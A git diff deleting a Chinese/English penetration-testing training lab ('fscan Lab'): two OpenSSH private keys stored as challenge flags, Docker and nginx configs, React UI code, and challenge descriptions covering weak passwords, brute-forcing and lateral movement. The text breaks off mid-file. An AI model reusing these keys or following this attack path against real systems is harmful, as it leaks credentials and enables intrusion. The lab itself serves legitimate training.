deleted file mode 100644 index 3e11d539..00000000 --- a/fscan-lab/flags/office_key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEA3ZnNZei9g7KMDlKfiMZA4bR4EgBmF63rYKEDXEukuLmS8edU8O7s -11qEh9EY2P1SWk+j2f1t4PLWHE7FHoKvxWtsgoCy0AfZdbSdUqE/1L23SKJcpzE2NNr1VS -xDvZjMZEt0yiF3a8CHLsOifuDjeUm2dlorT8A934k9Lw5RTZZ8OUgxzf/JiYCDzlOFl0hG -QYKLxujC9a3H3fzApPKRIttkzEt8YvUPfcIwBkazR8mCAqXlKJD9d0P3/PNXp+GgNVnPPB -fhl4v0Jfski2w4BpdVkIcgo/bpNCYhT84Oq3HHQy2iLp00/W3kBdVslwjzWVjDvF3XR36+ -7EZM4L0rMQAAA8jmRkJ75kZCewAAAAdzc2gtcnNhAAABAQDdmc1l6L2DsowOUp+IxkDhtH -gSAGYXretgoQNcS6S4uZLx51Tw7uzXWoSH0RjY/VJaT6PZ/W3g8tYcTsUegq/Fa2yCgLLQ -B9l1tJ1SoT/UvbdIolynMTY02vVVLEO9mMxkS3TKIXdrwIcuw6J+4ON5SbZ2WitPwD3fiT -0vDlFNlnw5SDHN/8mJgIPOU4WXSEZBgovG6ML1rcfd/MCk8pEi22TMS3xi9Q99wjAGRrNH -yYICpeUokP13Q/f881en4aA1Wc88F+GXi/Ql+ySLbDgGl1WQhyCj9uk0JiFPzg6rccdDLa -IunTT9beQF1WyXCPNZWMO8XddHfr7sRkzgvSsxAAAAAwEAAQAAAQAGXMM5jvE7AeI0ypE/ -Rm7oNAvi+20y9pi8k17i9F6IObbC+ID3MmrtI3GM6zdXCo3l3yW9jWHNXLeCRE4zSi4FAW -iyBgMsRx9qmlsOe2f3YhOMM7IskDSF17gFwCG5RLTwl7yEjamtt69B69bDZQ5O5guFsiDO -dz7nhzuRGWyC6VadqgsoNaGUFmyJya9y8/aBSuNZEZ8dOlBdR3jcRsrOCXQneQpLWfYQgC -9KlFFgQVyO2VxaD6drEcqU8+fUVJlftHRn4J5R6D/CG2KxfB7g6LXUcaCVZBY55kWBPfpY -lJocp6EtAVX8dLl/oRKWmJYHkQBO6d0zzwNfVryT/HwBAAAAgQCnYylI9zS6aCmw+aiS2C -JQAECbS5T90xrwqR1IRGb6DJAQKqzHbF6YFW/QOMSCuWktmC8wKBMhj6UFywzjZuvPSJW2 -gJodi50cmozfylSKvBlmPJEUI/8Wn6Yn2nYOUjTC5tUa3r2rtiH8M+3q2L/tGPJZhmRHXe -kaMDxtSNwUgwAAAIEA8kaZXYccjFRueVQP1CMYhmybAkRVBU242Iuz1LYmvURi2IAeYQi8 -jmS1ilZB/j2BPKFE6yxvYaNBYRoJ3DKhTrydR13wb68xSUU9wWN1qkwuHpNdxNCORCsaEp -1Mwexf7u9fnA/FpV+yNbJkXKBNTtkMrnwrrrLTPLdP0vNtMgEAAACBAOonYbHWki46kDIS -+Fa9LHkIVHH2Odpq7hGTtuJXXao55ac6nbAkBR8yOCCXmV4kw2PYMqPogUGptAhN1Yd3cB -Q04vNWkwkkxObuQempaJE6PMLY12IdouStAgCl43d+Mlo5AOnjYq0MgJbcGMkgHsp0wzbQ -+8XRKsLeeDJd9JkxAAAADm9mZmljZV92cG5fa2V5AQIDBA== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/flags/prod_jump_key b/fscan-lab/flags/prod_jump_key deleted file mode 100644 index 430597e2..00000000 --- a/fscan-lab/flags/prod_jump_key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEArEEc3XJcEgI3lVfJ4eidJqKHFywOpbmNjHRgqWj4VDbmgE1yUQI3 -fN+/C68in7muvV2RSGM9/kaFYksmiFV4HG17vozsJNIRpG0kA6zi7qhKPVcCFDuZejpfUp -O4SyuJRBzCOy3LxEVudHpc855499eKdDAxDamj4e5vrl01jroOutRMO0PuWsJHS2Y6B0W/ -uMkfZvw07nAKyN9TpxaXiTakEAvlioYZKBQkag2LpRJ7uTAM3sfqH5FpI5VHkHVhVfsfrM -pr0LfElVOiPMUmx6sheGoqUQfvgCQy4CN+tUwmK7c7zlKcsNso3aVQ0YpwLemoxQXzzmI0 -a1afKdJIEQAAA8gWusYkFrrGJAAAAAdzc2gtcnNhAAABAQCsQRzdclwSAjeVV8nh6J0moo -cXLA6luY2MdGCpaPhUNuaATXJRAjd8378LryKfua69XZFIYz3+RoViSyaIVXgcbXu+jOwk -0hGkbSQDrOLuqEo9VwIUO5l6Ol9Sk7hLK4lEHMI7LcvERW50elzznnj314p0MDENqaPh7m -+uXTWOug661Ew7Q+5awkdLZjoHRb+4yR9m/DTucArI31OnFpeJNqQQC+WKhhkoFCRqDYul -Enu5MAzex+ofkWkjlUeQdWFV+x+symvQt8SVU6I8xSbHqyF4aipRB++AJDLgI361TCYrtz -vOUpyw2yjdpVDRinAt6ajFBfPOYjRrVp8p0kgRAAAAAwEAAQAAAQASF3Oj6Y00ggGbAKGu -RbttsZ/NJf4y10J/6EA3wtPkKnD6tEenrPstdSWQYVhaXMr2ziNCblP2Rytet8RoCMwI9l -HLIWty8ZJTSfhAn5GlHc1QVHleLSVRQly9JFE0qfGskvWueAChEGbJuolVOAV+CGgdDGu2 -guT4x414y4biwsjR0K2z9eJS8rrMOlXHs35ZDC+Hqzvjgoum3hJx6NZzJLV3+MJWiYSX4J -5+2zQhNW4anXeuFUzqdLlUYCs95Djr26699xu2RcpKAvjCEU2sZKRnK7j7nUXS4sBy4fEJ -+UTJfutkZ6dXZjTe9eSHBsNbehQERu4h31mxFeeLLInNAAAAgB5Kj6NZ5rtJcTBnwWuBg0 -Vc1YVo03vx3DC7F2HzqDp0WZ9o1jNtXeI1ptrEHgWxtxADeTEaJ25sViXZjf2O5wSDreu3 -UlXhaLKQvwCQ3yRk/JvDuuKOCmRDpn3VrP+zevbwRIto9V0NHNPwX70LmibBI7W0N3qeFI -ul/GW1M+JvAAAAgQDy2CAp/7YZ5ZGz7clvGBtbP+mmkR9U4U/OH9dS0q8ja4y8SVZFYKip -AcPcFUCkSuuMq1xs38zh6RPApACE79SHbCmOlQnbRcR4ymEZAlU+tAxZ2SCV0TPE0D8Knd -+OUrXZTmdjxRVJYiKWabgivXw/eKdOx19LhdSt1eqdWQWztQAAAIEAtZYDrUcuuFZ3pjIQ -uBOhlxRLwxzaHI/8y+hQYEOuObKZ9It7gua2HL3mMqY+LlOYRfXJ8bRRpHIfYpfBepzazY -tKvjXMpTUL868BuAX3c8CPMdlIg694nyDmQFOCAXDPkNm3F6GVoMaieFtLtmhbuIOXjtre -kbciQMlWhijUNG0AAAANcHJvZF9qdW1wX2tleQECAwQFBg== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/frontend/Dockerfile b/fscan-lab/frontend/Dockerfile deleted file mode 100644 index 479a3977..00000000 --- a/fscan-lab/frontend/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM node:20-alpine AS builder - -WORKDIR /app - -COPY package*.json ./ -RUN npm install - -COPY . . -RUN npm run build - -FROM nginx:alpine - -COPY --from=builder /app/dist /usr/share/nginx/html -COPY nginx.conf /etc/nginx/conf.d/default.conf - -EXPOSE 3000 - -CMD ["nginx", "-g", "daemon off;"] diff --git a/fscan-lab/frontend/index.html b/fscan-lab/frontend/index.html deleted file mode 100644 index 0be2df24..00000000 --- a/fscan-lab/frontend/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - fscan Lab - 内网渗透训练平台 - - -
- - - diff --git a/fscan-lab/frontend/nginx.conf b/fscan-lab/frontend/nginx.conf deleted file mode 100644 index 6528578f..00000000 --- a/fscan-lab/frontend/nginx.conf +++ /dev/null @@ -1,16 +0,0 @@ -server { - listen 3000; - server_name localhost; - root /usr/share/nginx/html; - index index.html; - - location / { - try_files $uri $uri/ /index.html; - } - - location /api { - proxy_pass http://lab-api:8888; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - } -} diff --git a/fscan-lab/frontend/package.json b/fscan-lab/frontend/package.json deleted file mode 100644 index 0f055034..00000000 --- a/fscan-lab/frontend/package.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "name": "fscan-lab-ui", - "private": true, - "version": "1.0.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "tsc && vite build", - "preview": "vite preview" - }, - "dependencies": { - "react": "^18.2.0", - "react-dom": "^18.2.0", - "react-router-dom": "^6.20.0", - "reactflow": "^11.10.1", - "@radix-ui/react-progress": "^1.0.3", - "@radix-ui/react-slot": "^1.0.2", - "@radix-ui/react-tabs": "^1.0.4", - "class-variance-authority": "^0.7.0", - "clsx": "^2.0.0", - "lucide-react": "^0.294.0", - "tailwind-merge": "^2.1.0", - "tailwindcss-animate": "^1.0.7", - "axios": "^1.6.2" - }, - "devDependencies": { - "@types/react": "^18.2.43", - "@types/react-dom": "^18.2.17", - "@typescript-eslint/eslint-plugin": "^6.14.0", - "@typescript-eslint/parser": "^6.14.0", - "@vitejs/plugin-react": "^4.2.1", - "autoprefixer": "^10.4.16", - "postcss": "^8.4.32", - "tailwindcss": "^3.3.6", - "typescript": "^5.2.2", - "vite": "^5.0.8" - } -} diff --git a/fscan-lab/frontend/postcss.config.js b/fscan-lab/frontend/postcss.config.js deleted file mode 100644 index 2e7af2b7..00000000 --- a/fscan-lab/frontend/postcss.config.js +++ /dev/null @@ -1,6 +0,0 @@ -export default { - plugins: { - tailwindcss: {}, - autoprefixer: {}, - }, -} diff --git a/fscan-lab/frontend/src/App.tsx b/fscan-lab/frontend/src/App.tsx deleted file mode 100644 index 91a1b7f6..00000000 --- a/fscan-lab/frontend/src/App.tsx +++ /dev/null @@ -1,76 +0,0 @@ -import { BrowserRouter as Router, Routes, Route, Link } from 'react-router-dom' -import { Target, Map, Trophy, Languages } from 'lucide-react' -import Dashboard from './pages/Dashboard' -import Topology from './pages/Topology' -import Challenges from './pages/Challenges' -import { useI18n } from './contexts/I18nContext' -import { Button } from './components/ui/button' - -function App() { - const { language, setLanguage, t } = useI18n() - - return ( - -
- - -
- - } /> - } /> - } /> - -
-
-
- ) -} - -export default App diff --git a/fscan-lab/frontend/src/components/ui/badge.tsx b/fscan-lab/frontend/src/components/ui/badge.tsx deleted file mode 100644 index f000e3ef..00000000 --- a/fscan-lab/frontend/src/components/ui/badge.tsx +++ /dev/null @@ -1,36 +0,0 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const badgeVariants = cva( - "inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2", - { - variants: { - variant: { - default: - "border-transparent bg-primary text-primary-foreground hover:bg-primary/80", - secondary: - "border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80", - destructive: - "border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80", - outline: "text-foreground", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -export interface BadgeProps - extends React.HTMLAttributes, - VariantProps {} - -function Badge({ className, variant, ...props }: BadgeProps) { - return ( -
- ) -} - -export { Badge, badgeVariants } diff --git a/fscan-lab/frontend/src/components/ui/button.tsx b/fscan-lab/frontend/src/components/ui/button.tsx deleted file mode 100644 index 0ba42773..00000000 --- a/fscan-lab/frontend/src/components/ui/button.tsx +++ /dev/null @@ -1,56 +0,0 @@ -import * as React from "react" -import { Slot } from "@radix-ui/react-slot" -import { cva, type VariantProps } from "class-variance-authority" - -import { cn } from "@/lib/utils" - -const buttonVariants = cva( - "inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50", - { - variants: { - variant: { - default: "bg-primary text-primary-foreground hover:bg-primary/90", - destructive: - "bg-destructive text-destructive-foreground hover:bg-destructive/90", - outline: - "border border-input bg-background hover:bg-accent hover:text-accent-foreground", - secondary: - "bg-secondary text-secondary-foreground hover:bg-secondary/80", - ghost: "hover:bg-accent hover:text-accent-foreground", - link: "text-primary underline-offset-4 hover:underline", - }, - size: { - default: "h-10 px-4 py-2", - sm: "h-9 rounded-md px-3", - lg: "h-11 rounded-md px-8", - icon: "h-10 w-10", - }, - }, - defaultVariants: { - variant: "default", - size: "default", - }, - } -) - -export interface ButtonProps - extends React.ButtonHTMLAttributes, - VariantProps { - asChild?: boolean -} - -const Button = React.forwardRef( - ({ className, variant, size, asChild = false, ...props }, ref) => { - const Comp = asChild ? Slot : "button" - return ( - - ) - } -) -Button.displayName = "Button" - -export { Button, buttonVariants } diff --git a/fscan-lab/frontend/src/components/ui/card.tsx b/fscan-lab/frontend/src/components/ui/card.tsx deleted file mode 100644 index afa13ecf..00000000 --- a/fscan-lab/frontend/src/components/ui/card.tsx +++ /dev/null @@ -1,79 +0,0 @@ -import * as React from "react" - -import { cn } from "@/lib/utils" - -const Card = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -Card.displayName = "Card" - -const CardHeader = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardHeader.displayName = "CardHeader" - -const CardTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardTitle.displayName = "CardTitle" - -const CardDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardDescription.displayName = "CardDescription" - -const CardContent = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

-)) -CardContent.displayName = "CardContent" - -const CardFooter = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -CardFooter.displayName = "CardFooter" - -export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent } diff --git a/fscan-lab/frontend/src/components/ui/input.tsx b/fscan-lab/frontend/src/components/ui/input.tsx deleted file mode 100644 index 677d05fd..00000000 --- a/fscan-lab/frontend/src/components/ui/input.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import * as React from "react" - -import { cn } from "@/lib/utils" - -export interface InputProps - extends React.InputHTMLAttributes {} - -const Input = React.forwardRef( - ({ className, type, ...props }, ref) => { - return ( - - ) - } -) -Input.displayName = "Input" - -export { Input } diff --git a/fscan-lab/frontend/src/components/ui/progress.tsx b/fscan-lab/frontend/src/components/ui/progress.tsx deleted file mode 100644 index 105fb650..00000000 --- a/fscan-lab/frontend/src/components/ui/progress.tsx +++ /dev/null @@ -1,26 +0,0 @@ -import * as React from "react" -import * as ProgressPrimitive from "@radix-ui/react-progress" - -import { cn } from "@/lib/utils" - -const Progress = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, value, ...props }, ref) => ( - - - -)) -Progress.displayName = ProgressPrimitive.Root.displayName - -export { Progress } diff --git a/fscan-lab/frontend/src/components/ui/tabs.tsx b/fscan-lab/frontend/src/components/ui/tabs.tsx deleted file mode 100644 index f57fffdb..00000000 --- a/fscan-lab/frontend/src/components/ui/tabs.tsx +++ /dev/null @@ -1,53 +0,0 @@ -import * as React from "react" -import * as TabsPrimitive from "@radix-ui/react-tabs" - -import { cn } from "@/lib/utils" - -const Tabs = TabsPrimitive.Root - -const TabsList = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsList.displayName = TabsPrimitive.List.displayName - -const TabsTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsTrigger.displayName = TabsPrimitive.Trigger.displayName - -const TabsContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsContent.displayName = TabsPrimitive.Content.displayName - -export { Tabs, TabsList, TabsTrigger, TabsContent } diff --git a/fscan-lab/frontend/src/contexts/I18nContext.tsx b/fscan-lab/frontend/src/contexts/I18nContext.tsx deleted file mode 100644 index d9460449..00000000 --- a/fscan-lab/frontend/src/contexts/I18nContext.tsx +++ /dev/null @@ -1,40 +0,0 @@ -import { createContext, useContext, useState, ReactNode } from 'react' -import { translations, Language, TranslationKey } from '@/lib/i18n' - -interface I18nContextType { - language: Language - setLanguage: (lang: Language) => void - t: (key: TranslationKey) => string -} - -const I18nContext = createContext(undefined) - -export function I18nProvider({ children }: { children: ReactNode }) { - const [language, setLanguage] = useState(() => { - const saved = localStorage.getItem('language') - return (saved === 'zh' || saved === 'en') ? saved : 'zh' - }) - - const handleSetLanguage = (lang: Language) => { - setLanguage(lang) - localStorage.setItem('language', lang) - } - - const t = (key: TranslationKey): string => { - return translations[language][key] || key - } - - return ( - - {children} - - ) -} - -export function useI18n() { - const context = useContext(I18nContext) - if (!context) { - throw new Error('useI18n must be used within I18nProvider') - } - return context -} diff --git a/fscan-lab/frontend/src/index.css b/fscan-lab/frontend/src/index.css deleted file mode 100644 index 00b08e39..00000000 --- a/fscan-lab/frontend/src/index.css +++ /dev/null @@ -1,59 +0,0 @@ -@tailwind base; -@tailwind components; -@tailwind utilities; - -@layer base { - :root { - --background: 0 0% 100%; - --foreground: 222.2 84% 4.9%; - --card: 0 0% 100%; - --card-foreground: 222.2 84% 4.9%; - --popover: 0 0% 100%; - --popover-foreground: 222.2 84% 4.9%; - --primary: 221.2 83.2% 53.3%; - --primary-foreground: 210 40% 98%; - --secondary: 210 40% 96.1%; - --secondary-foreground: 222.2 47.4% 11.2%; - --muted: 210 40% 96.1%; - --muted-foreground: 215.4 16.3% 46.9%; - --accent: 210 40% 96.1%; - --accent-foreground: 222.2 47.4% 11.2%; - --destructive: 0 84.2% 60.2%; - --destructive-foreground: 210 40% 98%; - --border: 214.3 31.8% 91.4%; - --input: 214.3 31.8% 91.4%; - --ring: 221.2 83.2% 53.3%; - --radius: 0.5rem; - } - - .dark { - --background: 222.2 84% 4.9%; - --foreground: 210 40% 98%; - --card: 222.2 84% 4.9%; - --card-foreground: 210 40% 98%; - --popover: 222.2 84% 4.9%; - --popover-foreground: 210 40% 98%; - --primary: 217.2 91.2% 59.8%; - --primary-foreground: 222.2 47.4% 11.2%; - --secondary: 217.2 32.6% 17.5%; - --secondary-foreground: 210 40% 98%; - --muted: 217.2 32.6% 17.5%; - --muted-foreground: 215 20.2% 65.1%; - --accent: 217.2 32.6% 17.5%; - --accent-foreground: 210 40% 98%; - --destructive: 0 62.8% 30.6%; - --destructive-foreground: 210 40% 98%; - --border: 217.2 32.6% 17.5%; - --input: 217.2 32.6% 17.5%; - --ring: 224.3 76.3% 48%; - } -} - -@layer base { - * { - @apply border-border; - } - body { - @apply bg-background text-foreground; - } -} diff --git a/fscan-lab/frontend/src/lib/api.ts b/fscan-lab/frontend/src/lib/api.ts deleted file mode 100644 index 6849a945..00000000 --- a/fscan-lab/frontend/src/lib/api.ts +++ /dev/null @@ -1,105 +0,0 @@ -import axios from 'axios' - -const API_URL = (import.meta as any).env?.VITE_API_URL || 'http://localhost:8888' - -export interface Challenge { - id: number - name: string - description: string - difficulty: string - points: number - network: string - targets: string[] - order?: number // 渗透顺序 -} - -export interface Progress { - user_id: string - completed_challenges: number[] - total_score: number - start_time: string - last_update: string - submission_history: Submission[] -} - -export interface Submission { - challenge_id: number - flag: string - correct: boolean - timestamp: string -} - -export interface NetworkNode { - id: string - name: string - ip: string - services: string[] - network: string - status: 'unknown' | 'discovered' | 'compromised' -} - -export interface NetworkEdge { - from: string - to: string - access: 'allowed' | 'blocked' | 'vpn' -} - -export interface NetworkTopology { - nodes: NetworkNode[] - edges: NetworkEdge[] -} - -export interface SubmitFlagResponse { - correct: boolean - message: string - points_earned?: number - total_score?: number - already_solved?: boolean -} - -const api = axios.create({ - baseURL: API_URL, - headers: { - 'Content-Type': 'application/json', - }, -}) - -export const getChallenges = async (): Promise => { - const response = await api.get('/api/challenges') - return response.data -} - -export const getChallenge = async (id: number): Promise => { - const response = await api.get(`/api/challenges/${id}`) - return response.data -} - -export const submitFlag = async ( - challengeId: number, - flag: string -): Promise => { - const response = await api.post('/api/submit', { - challenge_id: challengeId, - flag: flag.trim(), - }) - return response.data -} - -export const getProgress = async (): Promise => { - const response = await api.get('/api/progress') - return response.data -} - -export const resetProgress = async (): Promise => { - await api.post('/api/reset') -} - -export const getTopology = async (): Promise => { - const response = await api.get('/api/topology') - return response.data -} - -export const getHints = async (id: number): Promise => { - const response = await api.get(`/api/hints/${id}`) - return response.data.hints -} diff --git a/fscan-lab/frontend/src/lib/i18n.ts b/fscan-lab/frontend/src/lib/i18n.ts deleted file mode 100644 index 4253517c..00000000 --- a/fscan-lab/frontend/src/lib/i18n.ts +++ /dev/null @@ -1,241 +0,0 @@ -export const translations = { - zh: { - // Navigation - 'nav.title': 'fscan Lab', - 'nav.subtitle': '内网渗透训练平台', - 'nav.dashboard': '控制面板', - 'nav.network': '网络拓扑', - 'nav.challenges': '挑战列表', - - // Dashboard - 'dashboard.title': '控制面板', - 'dashboard.welcome': '欢迎来到 fscan 内网渗透训练平台', - 'dashboard.resetProgress': '重置进度', - 'dashboard.resetConfirm': '确定要重置进度吗?这将清除所有已完成的挑战记录。', - 'dashboard.totalScore': '总分', - 'dashboard.maxScore': '满分', - 'dashboard.completedChallenges': '已完成挑战', - 'dashboard.completionRate': '完成率', - 'dashboard.startTime': '开始时间', - 'dashboard.submissions': '提交次数', - 'dashboard.successful': '成功', - 'dashboard.progress': '完成进度', - 'dashboard.progressDesc': '已完成', - 'dashboard.progressDesc2': '个挑战', - 'dashboard.recentSubmissions': '最近提交', - 'dashboard.recentSubmissionsDesc': '最新的 5 次 flag 提交记录', - 'dashboard.noSubmissions': '暂无提交记录', - 'dashboard.correct': '正确', - 'dashboard.incorrect': '错误', - 'dashboard.challenge': '挑战', - 'dashboard.overview': '挑战概览', - 'dashboard.overviewDesc': '按难度分类的挑战统计', - 'dashboard.quickStart': '快速开始', - 'dashboard.quickStart1': '进入攻击者容器:', - 'dashboard.quickStart2': '开始扫描 DMZ 区:', - 'dashboard.quickStart3': '在"挑战列表"页面查看所有挑战并提交 flag', - 'dashboard.quickStart4': '在"网络拓扑"页面查看网络拓扑和攻击路径', - 'dashboard.loading': '加载中...', - - // Challenges - 'challenges.title': '挑战列表', - 'challenges.desc': '完成所有挑战,攻陷整个网络', - 'challenges.all': '全部', - 'challenges.search': '搜索挑战...', - 'challenges.difficulty': '难度', - 'challenges.points': '分', - 'challenges.network': '网络', - 'challenges.targets': '目标', - 'challenges.status': '状态', - 'challenges.completed': '已完成', - 'challenges.locked': '未完成', - 'challenges.submitFlag': '提交 Flag', - 'challenges.viewHints': '查看提示', - 'challenges.hideHints': '隐藏提示', - 'challenges.hints': '提示', - 'challenges.enterFlag': '输入 flag...', - 'challenges.submit': '提交', - 'challenges.submitting': '提交中...', - 'challenges.noChallenges': '未找到匹配的挑战', - - // Topology - 'topology.title': '网络拓扑', - 'topology.desc': '实时网络拓扑和攻击路径', - 'topology.legend': '图例', - 'topology.compromised': '已攻陷', - 'topology.discovered': '已发现', - 'topology.unknown': '未知', - 'topology.nodeInfo': '节点信息', - 'topology.selectNode': '点击节点查看详细信息', - 'topology.name': '名称', - 'topology.ip': 'IP 地址', - 'topology.services': '服务', - 'topology.status': '状态', - - // Network Labels - 'network.internet': '外网', - 'network.dmz': 'DMZ', - 'network.office': '办公网', - 'network.production': '生产网', - 'network.core': '核心网', - - // Difficulty - 'difficulty.Easy': 'Easy', - 'difficulty.Medium': 'Medium', - 'difficulty.Hard': 'Hard', - 'difficulty.Expert': 'Expert', - - // Common - 'common.points': '分', - 'common.score': '分数', - - // Challenge Content - 'challenge.1.name': 'DMZ 侦察', - 'challenge.1.desc': '扫描 DMZ 区,发现 Web 服务器并获取第一个 flag', - 'challenge.2.name': 'FTP 弱密码', - 'challenge.2.desc': '通过 FTP 弱密码进入 DMZ 区并获取 SSH 密钥', - 'challenge.3.name': 'VPN 网关突破', - 'challenge.3.desc': '使用获取的 SSH 密钥连接 VPN 网关进入办公网', - 'challenge.4.name': '办公网备份服务器', - 'challenge.4.desc': '发现 Rsync 备份服务器并获取敏感文件', - 'challenge.5.name': '生产网 Redis 渗透', - 'challenge.5.desc': '利用 Redis 弱密码获取 flag 并准备横向移动', - 'challenge.6.name': '核心网 MySQL 数据库', - 'challenge.6.desc': '爆破 MySQL 数据库获取敏感信息', - 'challenge.7.name': '最终目标 - MongoDB', - 'challenge.7.desc': '攻陷 MongoDB 获取最终 flag,完成整个网络渗透', - 'challenge.8.name': 'Elasticsearch 情报收集', - 'challenge.8.desc': '利用 Elasticsearch 未授权访问获取生产网敏感信息', - 'challenge.9.name': 'PostgreSQL 数据库渗透', - 'challenge.9.desc': '爆破 PostgreSQL 数据库获取业务数据', - 'challenge.10.name': 'MSSQL 数据库攻击', - 'challenge.10.desc': '攻破 MSSQL 数据库获取企业核心数据', - 'challenge.11.name': 'VNC 远程桌面入侵', - 'challenge.11.desc': '通过 VNC 弱密码获取办公网主机控制权', - 'challenge.12.name': '老旧 Telnet 服务', - 'challenge.12.desc': '利用古老的 Telnet 服务获取办公网老旧主机访问权', - 'challenge.13.name': '打印机 SMB 共享', - 'challenge.13.desc': '发现办公网打印机的 SMB 共享服务,通过弱密码访问共享文件', - }, - en: { - // Navigation - 'nav.title': 'fscan Lab', - 'nav.subtitle': 'Penetration Testing Platform', - 'nav.dashboard': 'Dashboard', - 'nav.network': 'Network', - 'nav.challenges': 'Challenges', - - // Dashboard - 'dashboard.title': 'Dashboard', - 'dashboard.welcome': 'Welcome to fscan Lab', - 'dashboard.resetProgress': 'Reset Progress', - 'dashboard.resetConfirm': 'Are you sure you want to reset progress? This will clear all completed challenges.', - 'dashboard.totalScore': 'Total Score', - 'dashboard.maxScore': 'Max', - 'dashboard.completedChallenges': 'Completed', - 'dashboard.completionRate': 'Completion', - 'dashboard.startTime': 'Started', - 'dashboard.submissions': 'Submissions', - 'dashboard.successful': 'successful', - 'dashboard.progress': 'Progress', - 'dashboard.progressDesc': 'Completed', - 'dashboard.progressDesc2': 'challenges', - 'dashboard.recentSubmissions': 'Recent Submissions', - 'dashboard.recentSubmissionsDesc': 'Last 5 flag submissions', - 'dashboard.noSubmissions': 'No submissions yet', - 'dashboard.correct': 'Correct', - 'dashboard.incorrect': 'Incorrect', - 'dashboard.challenge': 'Challenge', - 'dashboard.overview': 'Overview', - 'dashboard.overviewDesc': 'Challenges by difficulty', - 'dashboard.quickStart': 'Quick Start', - 'dashboard.quickStart1': 'Enter attacker container:', - 'dashboard.quickStart2': 'Start scanning DMZ:', - 'dashboard.quickStart3': 'View all challenges and submit flags in "Challenges" page', - 'dashboard.quickStart4': 'View network topology in "Network" page', - 'dashboard.loading': 'Loading...', - - // Challenges - 'challenges.title': 'Challenges', - 'challenges.desc': 'Complete all challenges to pwn the network', - 'challenges.all': 'All', - 'challenges.search': 'Search challenges...', - 'challenges.difficulty': 'Difficulty', - 'challenges.points': 'pts', - 'challenges.network': 'Network', - 'challenges.targets': 'Targets', - 'challenges.status': 'Status', - 'challenges.completed': 'Completed', - 'challenges.locked': 'Locked', - 'challenges.submitFlag': 'Submit Flag', - 'challenges.viewHints': 'View Hints', - 'challenges.hideHints': 'Hide Hints', - 'challenges.hints': 'Hints', - 'challenges.enterFlag': 'Enter flag...', - 'challenges.submit': 'Submit', - 'challenges.submitting': 'Submitting...', - 'challenges.noChallenges': 'No challenges found', - - // Topology - 'topology.title': 'Network Topology', - 'topology.desc': 'Real-time network topology and attack path', - 'topology.legend': 'Legend', - 'topology.compromised': 'Compromised', - 'topology.discovered': 'Discovered', - 'topology.unknown': 'Unknown', - 'topology.nodeInfo': 'Node Info', - 'topology.selectNode': 'Select a node to view details', - 'topology.name': 'Name', - 'topology.ip': 'IP Address', - 'topology.services': 'Services', - 'topology.status': 'Status', - - // Network Labels - 'network.internet': 'Internet', - 'network.dmz': 'DMZ', - 'network.office': 'Office', - 'network.production': 'Production', - 'network.core': 'Core', - - // Difficulty - 'difficulty.Easy': 'Easy', - 'difficulty.Medium': 'Medium', - 'difficulty.Hard': 'Hard', - 'difficulty.Expert': 'Expert', - - // Common - 'common.points': 'pts', - 'common.score': 'score', - - // Challenge Content - 'challenge.1.name': 'DMZ Reconnaissance', - 'challenge.1.desc': 'Scan DMZ network and discover the web server to get the first flag', - 'challenge.2.name': 'FTP Weak Password', - 'challenge.2.desc': 'Access DMZ through FTP weak password and obtain SSH key', - 'challenge.3.name': 'VPN Gateway Breach', - 'challenge.3.desc': 'Use SSH key to connect VPN gateway and enter office network', - 'challenge.4.name': 'Office Backup Server', - 'challenge.4.desc': 'Discover Rsync backup server and obtain sensitive files', - 'challenge.5.name': 'Production Redis Attack', - 'challenge.5.desc': 'Exploit Redis weak password to get flag and prepare lateral movement', - 'challenge.6.name': 'Core MySQL Database', - 'challenge.6.desc': 'Brute-force MySQL database to obtain sensitive information', - 'challenge.7.name': 'Final Target - MongoDB', - 'challenge.7.desc': 'Compromise MongoDB to get the final flag and pwn the entire network', - 'challenge.8.name': 'Elasticsearch Intelligence Gathering', - 'challenge.8.desc': 'Exploit Elasticsearch unauthorized access to obtain production network sensitive information', - 